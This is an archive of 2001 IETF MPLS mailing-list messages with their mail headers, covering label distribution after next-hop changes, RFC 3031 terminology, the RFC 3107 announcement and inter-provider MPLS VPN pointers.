        ip-optical@lists.bell-labs.com
Subject: Re: [IP-Optical] RE: Network capacity
References: <NFBBKGKJALBCDKPJMMOAAEFLCAAA.eenet@electeng.leeds.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

It's hard to come up with a single defintion and it depends
on the type of the network.. For instance, for a wavelength-
routed network, I would be inclined to think that the capacity
of the network is the maximum number of lightpaths that can
be simultaneously set-up. This maximum of course depends on 
the topology and the source-destination pairs...
For a network like ATM or IP, as Erickson indicated, the number
of cells or IP packets delivered per unit time may be an
appropriate measure.

Harry Perros



Erickson Trejo-Reyes wrote:
> 
> I think it depends on the type of network, but on the general I would say
> "Erlangs". Or it could be transformed into "simultaneous calls", or "packets
> per second" possibly. That's what I think.
> 
> E Trejo
> University of Leeds
> 
> -----Original Message-----
> From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Chrysostomos
> Tziouvaras
> Sent: Friday, May 18, 2001 2:58 PM
> To: mpls@UU.NET; ip-optical@lists.bell-labs.com
> Subject: Network capacity
> 
> Dear all,
> does anyone know how we define the capacity of a network?(not a link's
> capacity)
> 
> Chrysostomos Tziouvaras
> ICS-FORTH Researcher
> 
> _______________________________________________
> IP-Optical mailing list
> IP-Optical@lists.bell-labs.com
> http://lists.bell-labs.com/mailman/listinfo/ip-optical



From owner-mpls@UU.NET  Fri May 18 12:02:40 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA29605
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 12:02:40 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpoi18857;
	Fri, 18 May 2001 16:00:40 GMT
Received: by mail-control.mail.uu.net 
	id QQkpoi29209
	for mpls-outgoing; Fri, 18 May 2001 16:00:02 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpoh29074
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 15:59:48 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpoh13404
	for <mpls@UU.NET>; Fri, 18 May 2001 15:59:13 GMT
Received: from sandmail.sandburst.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkpoh16468
	for <mpls@UU.NET>; Fri, 18 May 2001 15:59:12 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id BAE0894006; Fri, 18 May 2001 11:59:12 -0400 (EDT)
Message-ID: <3B0546D0.392A50A2@sandburst.com>
Date: Fri, 18 May 2001 11:59:12 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Manoj Dutta <manoj@ipinfusion.com>
Cc: mpls@UU.NET
Subject: Re: change in next hop !!
References: <3B04BC10.B55F0A1F@ipinfusion.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Manoj,

    When there is a next hop change for non merge-capable LSR ('A' in your
example) and specific FEC ('F' in your example), the LSR must do one of
the following for labels issued in association with this FEC to peer LSRs:

    a    the LSR might continue to use the label bindings for the old next hop;
        for many reasons, this may not be a good idea for very long (this
approach
        might be though of as the 'pretend it didn't happen yet approach).
    b    if operating in independent control mode, packets bearing these labels
        and having the bottom of stack bit set may be egressed by LSR-A (this
        approach is most applicable if the LSP is a hop-by-hop routed LSP);
        note that the fact that LSR-A is not merge capable may very well mean
        that it may not be able to provide egress for packets very well either.
    c    if operating in independent control mode, packets bearing these labels
        may be discarded until such time as a label binding exists for the new
        next hop; in this case (and if hop count was used in previous label
        mappings), a new label mapping (with the old label) should be sent
        with the unknown hop-count (and subsequently with a known hop count
        once a label binding has been established) for each label issued for F
        (this is analogous to behavior that would occur if the LSP were being
        established from scratch).
    d    if operating in ordered control mode, LSR-A would withdraw labels
        it has previously provided for FEC F to its peers - especially if it is
        not currently capable of establishing a new binding to a label issued
        by the new next hop; note that this will result in tearing down the LSP
        for FEC F fom each upstream peer all the way to however many ingress
        LSRs there are.

In short, LSR-A either continues to use the old LSP, removes labels and
forwards packets using IP forwarding, drops packets or arranges to stop
receiving packets with labels associated with FEC F until it has new labels
for the downstream leg of LSPs for the FEC.  Hope this makes the
behavior clearer...

--
Eric Gray

You wrote:

> Hi,
>
> I have a few questions based on section A.1.7 RFC 3036.
>
> 1) Is is correct to assume that NH.1 - NH.5 also consider the case where
> LSR has received and retained multiple label mappings from old next hop
> ??
>
> 3) Also NH.6 to NH.8 take into account the scenario where multiple
> requests are pending.
>
> Consider the following scenario :
>
> LSR U1 and LSR U2 are upatream wrt LSR A and LSR D1 and LSR D2 are
> downstream of LSR A.
>
>                             LSR U1            LSRU2
>                                 |                       |
>                                   \                   /
>                                      \              /
>                                        LSR A
>                                      /            \
>                               LSR  D1    LSR D2
>
> Suppose LSR A is non merge capable and for a given FEC F,  LSR D1 is its
> next hop.  D1 has distributed
> labels L1 and L2 for FEC F which LSR A maps to lable L3 and L4 given to
> LSR U1 and LSR U2 respectively.
> Now, LSR D2 becomes the new next hop for LSR A (FEC F).
> Cosider statement NH.11 :
>
> a) Suppose, LSR A already has a label mapping  ,say L5, from LSR D2 for
> FEC F. A recv mapping event will be generated. Now if LMp.18 of section
> A.1.2  is executed, it contradicts Note 8 as we have sent labels, L3 and
> L4, to more  than one peer (LU1 and LU2, in this case.) despite being a
> non merge LSR. Even if we ignore this,  which of the upstream labels (L3
> and L4) should we map to L5 .
> Let say that we map L5 to L3 (LSR U1).  There is no way to let LSR U2
> know that lable L4 is not mapped
> to any downstream label now and if LSR A is using ordered control then
> we have an exception here.
>
> b) Now, lets take the case where LSR A does not have any mapping from
> new hop LSR D2. Now, it might
> send a single label request which again cannot be mapped to the two
> upstream labels L3 and L4.
>
> I would really appreciate any help in understanding this scenario.
>
> Thanks in advance,
> manoj



From owner-mpls@UU.NET  Fri May 18 12:37:15 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA00760
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 12:37:14 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpok15032;
	Fri, 18 May 2001 16:35:14 GMT
Received: by mail-control.mail.uu.net 
	id QQkpok22062
	for mpls-outgoing; Fri, 18 May 2001 16:34:42 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpok21992
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 16:34:29 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpok14783
	for <mpls@UU.NET>; Fri, 18 May 2001 16:34:14 GMT
Received: from mail.pantheranetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [63.104.212.2])
	id QQkpok08774
	for <mpls@UU.NET>; Fri, 18 May 2001 16:34:13 GMT
Received: from SAURABAHPC ([63.104.212.3]) by mail.pantheranetworks.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-66622U100L100S0V35)
          with SMTP id com; Fri, 18 May 2001 09:34:12 -0700
Reply-To: <saurabh@timetra.com>
From: sshrivastava@timetra.com (Saurabh Shrivastava)
To: <mgoel@hss.hns.com>, "'Hailong Lu.sean'" <sealong@163.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: rfc 3031.section3.2.again
Date: Fri, 18 May 2001 09:34:01 -0700
Message-ID: <002a01c0dfb8$58d5d880$de01a8c0@SAURABAHPC>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
In-Reply-To: <65256A50.002CAD95.00@sandesh.hss.hns.com>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

i think it also means that the peer to which label is being
distributed need not be a directly connected LSR

>  
>  Hi Sean!
>  
>  As per my understanding, Let Ru is the upstream LSR and Rd 
>  is the downstream LSR
>  with respect to a binding. Then on receiving a 
>  packet(labeled/unlabeled) at Ru,
>  Ru calls either ILM/FTN to map the packet to the set S of 
>  NHLFEs. Whether the
>  packet will be routed through Rd or some other LSR in the 
>  set S, has to be
>  decided by the Ru. So the statement only means to say that 
>  the packet of that
>  FEC, received on Ru "may" be routed through Rd.
>  
>  pls correct me if I am wrong.
>  
>  Regards
>  Mohit
>  
>  
>  
>  
>  "Hailong Lu.sean" <sealong@163.com> on 05/18/2001 01:05:56 PM
>  
>  To:   "mpls@uu.net" <mpls@UU.NET>, "mpls@uu.net" <mpls@UU.NET>
>  cc:    (bcc: Mohit Goel/HSS)
>  
>  Subject:  rfc 3031.section3.2.again
>  
>  
>  
>  
>  Hi,all
>     Sorry about this subject again.
>     From the section3.2 of rfc3031:
>            "To say that one node is upstream and one is 
>  downstream with respect
>          to a given binding means only that a particular 
>  label represents a
>          particular FEC in packets travelling from the 
>  upstream node to the
>          downstream node.  This is NOT meant to imply that 
>  packets in that FEC
>          would actually be routed from the upstream node to 
>  the downstream
>          node"
>     I can understand the first part of this section:the 
>  upstream and downstream
>  concepts are just meaningful when respect the binding of 
>  label and FEC.But I
>  can't make sure why the "routed" problem is refered 
>  particularly in the second
>  part of it.From my idea,in MPLS domain,after having been 
>  labeled by the ingress
>  MPLS node,the packets are label switched.I mean there is no 
>  routing problem.
>     thanks.
>  
>  
>  
>  sean
>  
>  
>  
>  
>  
>  
>  


From owner-mpls@UU.NET  Fri May 18 14:34:02 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA11148
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 14:33:57 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpos12061;
	Fri, 18 May 2001 18:32:42 GMT
Received: by mail-control.mail.uu.net 
	id QQkpos05165
	for mpls-outgoing; Fri, 18 May 2001 18:31:53 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpos05086
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 18:31:33 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpos23443
	for <mpls@uu.net>; Fri, 18 May 2001 18:31:01 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpos28999
	for <mpls@uu.net>; Fri, 18 May 2001 18:31:01 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id OAA19455 for mpls@uu.net; Fri, 18 May 2001 14:31:00 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpor03544
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 18:26:25 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpor09026
	for <mpls@uu.net>; Fri, 18 May 2001 18:26:17 GMT
Received: from boreas.isi.edu by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: boreas.isi.edu [128.9.160.161])
	id QQkpor23625
	for <mpls@uu.net>; Fri, 18 May 2001 18:26:16 GMT
Received: from ISI.EDU (jet.isi.edu [128.9.160.87])
	by boreas.isi.edu (8.11.2/8.11.2) with ESMTP id f4IIQ4G17239;
	Fri, 18 May 2001 11:26:04 -0700 (PDT)
Message-Id: <200105181826.f4IIQ4G17239@boreas.isi.edu>
To: IETF-Announce:;
Subject: RFC 3107 on Carrying Label Information in BGP-4
Cc: rfc-ed@ISI.EDU, mpls@UU.NET
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary=NextPart
Date: Fri, 18 May 2001 11:26:04 -0700
From: RFC Editor <rfc-ed@ISI.EDU>
Sender: owner-mpls@UU.NET
Precedence: bulk


--NextPart


A new Request for Comments is now available in online RFC libraries.


        RFC 3107

        Title:	    Carrying Label Information in BGP-4
        Author(s):  Y. Rekhter, E. Rosen
        Status:     Standards Track
	Date:       May 2001
        Mailbox:    yakov@juniper.net, erosen@cisco.com
        Pages:      8
        Characters: 16442
        Updates/Obsoletes/SeeAlso:    None

        I-D Tag:    draft-ietf-mpls-bgp4-mpls-05.txt

        URL:        ftp://ftp.rfc-editor.org/in-notes/rfc3107.txt


This document specifies the way in which the label mapping information
for a particular route is piggybacked in the same Border Gateway
Protocol (BGP) Update message that is used to distribute the route
itself.  When BGP is used to distribute a particular route, it can
be also be used to distribute a Multiprotocol Label Switching (MPLS)
label which is mapped to that route.

This document is a product of the Multiprotocol Label Switching
Working Group of the IETF.

This is now a Proposed Standard Protocol.

This document specifies an Internet standards track protocol for
the Internet community, and requests discussion and suggestions
for improvements.  Please refer to the current edition of the
"Internet Official Protocol Standards" (STD 1) for the
standardization state and status of this protocol.  Distribution
of this memo is unlimited.

This announcement is sent to the IETF list and the RFC-DIST list.
Requests to be added to or deleted from the IETF distribution list
should be sent to IETF-REQUEST@IETF.ORG.  Requests to be
added to or deleted from the RFC-DIST distribution list should
be sent to RFC-DIST-REQUEST@RFC-EDITOR.ORG.

Details on obtaining RFCs via FTP or EMAIL may be obtained by sending
an EMAIL message to rfc-info@RFC-EDITOR.ORG with the message body 
help: ways_to_get_rfcs.  For example:

        To: rfc-info@RFC-EDITOR.ORG
        Subject: getting rfcs

        help: ways_to_get_rfcs

Requests for special distribution should be addressed to either the
author of the RFC in question, or to RFC-Manager@RFC-EDITOR.ORG.  Unless
specifically noted otherwise on the RFC itself, all RFCs are for
unlimited distribution.echo 
Submissions for Requests for Comments should be sent to
RFC-EDITOR@RFC-EDITOR.ORG.  Please consult RFC 2223, Instructions to RFC
Authors, for further information.


Joyce K. Reynolds and Sandy Ginoza
USC/Information Sciences Institute

...

Below is the data which will enable a MIME compliant Mail Reader 
implementation to automatically retrieve the ASCII version
of the RFCs.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="RFC-INFO@RFC-EDITOR.ORG"

Content-Type: text/plain
Content-ID: <010518112343.RFC@RFC-EDITOR.ORG>

RETRIEVE: rfc
DOC-ID: rfc3107

--OtherAccess
Content-Type:   Message/External-body;
        name="rfc3107.txt";
        site="ftp.isi.edu";
        access-type="anon-ftp";
        directory="in-notes"

Content-Type: text/plain
Content-ID: <010518112343.RFC@RFC-EDITOR.ORG>

--OtherAccess--
--NextPart--



From owner-mpls@UU.NET  Fri May 18 14:40:56 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA11442
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 14:40:56 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpos10610;
	Fri, 18 May 2001 18:40:10 GMT
Received: by mail-control.mail.uu.net 
	id QQkpos07519
	for mpls-outgoing; Fri, 18 May 2001 18:39:34 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpos07506
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 18:39:32 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpos07737
	for <mpls@uu.net>; Fri, 18 May 2001 18:39:15 GMT
Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkpos09358
	for <mpls@uu.net>; Fri, 18 May 2001 18:39:14 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4IIdCd24050
	for <mpls@uu.net>; Fri, 18 May 2001 11:39:13 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id OAA26597 for mpls@uu.net; Fri, 18 May 2001 14:39:11 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpor03021
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 18:24:43 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpor01941
	for <mpls@uu.net>; Fri, 18 May 2001 18:23:58 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f232.law14.hotmail.com [64.4.21.232])
	id QQkpor21005
	for <mpls@uu.net>; Fri, 18 May 2001 18:23:57 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 18 May 2001 11:23:57 -0700
Received: from 152.148.116.77 by lw14fd.law14.hotmail.msn.com with HTTP;	Fri, 18 May 2001 18:23:56 GMT
X-Originating-IP: [152.148.116.77]
From: "King Man" <kingman2001@hotmail.com>
To: mpls@UU.NET
Subject: Very basic question
Date: Fri, 18 May 2001 14:23:56 -0400
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F232vjvxo6AmX3qrB0X00005017@hotmail.com>
X-OriginalArrivalTime: 18 May 2001 18:23:57.0117 (UTC) FILETIME=[B39B76D0:01C0DFC7]
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi All:

I have a very basic question re MPLS. After having just caught up on MPLS 
drafts and RFCs at a high level, the answer to the following is not obvious 
to me:

Does all IP traffic entering an MPLS network [at an LER] have to satisfy one 
or more explicitly configured filters before being forwarded to the 
destination ? In other words, I would expect that the most common [and 
basic] way to deploy an MPLS network would be to use LDP [as an example] to 
distribute labels for reachable destinations and do L3 lookup at the edge of 
the MPLS cloud and forward using an LSP. This allows provider to acheive L2 
like forwarding efficiencies through the core for IP packets and requires no 
filters to be configured anywhere..

Thanks for the response. Please "reply-all" to this message as I am not 
subscribed to the mail list yet..

Please excuse the naivette. It runs in the family, they say.. :-)

-King
_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com



From owner-mpls@UU.NET  Fri May 18 16:09:40 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA14809
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 16:09:39 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpoy00154;
	Fri, 18 May 2001 20:08:07 GMT
Received: by mail-control.mail.uu.net 
	id QQkpoy28119
	for mpls-outgoing; Fri, 18 May 2001 20:07:24 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpoy27925
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 20:07:13 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpoy08160
	for <mpls@uu.net>; Fri, 18 May 2001 20:07:01 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpoy17063
	for <mpls@uu.net>; Fri, 18 May 2001 20:07:00 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id QAA28463 for mpls@uu.net; Fri, 18 May 2001 16:07:00 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpoy21617
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 20:02:33 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpoy10651
	for <mpls@uu.net>; Fri, 18 May 2001 20:01:23 GMT
From: Spencer.Giacalone@predictive.com
Received: from athena.predictive.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: athena.predictive.com [208.209.197.197])
	id QQkpoy09429
	for <mpls@uu.net>; Fri, 18 May 2001 20:01:23 GMT
To: mpls@UU.NET, ppvpn@zephion.net
Cc: robert.carter@ascalaska.net
Subject: Inter Provider MPLS
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF5AE71F65.72F6621C-ON85256A50.006D48A0@predictive.com>
Date: Fri, 18 May 2001 16:02:30 -0400
X-MIMETrack: Serialize by Router on Athena/Predictive(Release 5.0.7 |March 21, 2001) at
 05/18/2001 04:02:31 PM,
	Serialize complete at 05/18/2001 04:02:31 PM
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-mpls@UU.NET
Precedence: bulk

Can anyone direct me towards IETF work done specifically for 
inter-provider peering with MPLS and MPLS VPNs?

Thanks, 

Spence 



Spencer Giacalone, Predictive Systems
---------------------------------------------------------------
"Nothing so much prevents our being natural 
as the desire to seem so" -Francois, Duc de 
La Rochefoucauld



From owner-mpls@UU.NET  Fri May 18 16:23:11 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA15223
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 16:23:11 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpoz29701;
	Fri, 18 May 2001 20:22:13 GMT
Received: by mail-control.mail.uu.net 
	id QQkpoz13830
	for mpls-outgoing; Fri, 18 May 2001 20:21:16 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpoz13703
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 20:20:55 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpoz16605
	for <mpls@uu.net>; Fri, 18 May 2001 20:20:13 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpoz07476
	for <mpls@uu.net>; Fri, 18 May 2001 20:20:13 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id QAA29486 for mpls@uu.net; Fri, 18 May 2001 16:20:12 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpoz13348
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 20:19:45 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpoz12991
	for <mpls@UU.NET>; Fri, 18 May 2001 20:19:01 GMT
Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkpoz03517
	for <mpls@UU.NET>; Fri, 18 May 2001 20:19:00 GMT
Received: from mira-sjcm-3.cisco.com (mira-sjcm-3.cisco.com [171.69.24.15])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4IKIuU16040;
	Fri, 18 May 2001 13:18:56 -0700 (PDT)
Received: from cisco.com (ams-vpdn-client-500.cisco.com [144.254.47.248])
	by mira-sjcm-3.cisco.com (Mirapoint)
	with ESMTP id ABC13631 (AUTH rraszuk);
	Fri, 18 May 2001 13:18:53 -0700 (PDT)
Message-ID: <3B058346.54A8F0F8@cisco.com>
Date: Fri, 18 May 2001 13:17:10 -0700
From: Robert Raszuk <raszuk@cisco.com>
Reply-To: raszuk@cisco.com
Organization: Signature: http://www.employees.org/~raszuk/sig/
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Spencer.Giacalone@predictive.com
CC: mpls@UU.NET, ppvpn@zephion.net, robert.carter@ascalaska.net
Subject: Re: Inter Provider MPLS
References: <OF5AE71F65.72F6621C-ON85256A50.006D48A0@predictive.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Spencer,

For Inter-provider VPNs see 2547bis section: 

"Inter-Provider Backbones"

http://www.ietf.org/internet-drafts/draft-rosen-rfc2547bis-03.txt

For one of the option of mechanism for label exchange between providers
see today's issued rfc3107.

R.

> Spencer.Giacalone@predictive.com wrote:
> 
> Can anyone direct me towards IETF work done specifically for
> inter-provider peering with MPLS and MPLS VPNs?
> 
> Thanks,
> 
> Spence
> 
> Spencer Giacalone, Predictive Systems
> ---------------------------------------------------------------
> "Nothing so much prevents our being natural
> as the desire to seem so" -Francois, Duc de
> La Rochefoucauld



From owner-mpls@UU.NET  Fri May 18 16:57:40 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA16227
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 16:57:40 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkppb25543;
	Fri, 18 May 2001 20:56:14 GMT
Received: by mail-control.mail.uu.net 
	id QQkppb25441
	for mpls-outgoing; Fri, 18 May 2001 20:55:39 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkppb25363
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 20:55:25 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkppb11050
	for <mpls@UU.net>; Fri, 18 May 2001 20:55:18 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkppb24179
	for <mpls@UU.net>; Fri, 18 May 2001 20:55:18 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA01197
	for <mpls@UU.net>; Fri, 18 May 2001 16:55:15 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA24079
	for <mpls@UU.net>; Fri, 18 May 2001 16:55:19 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
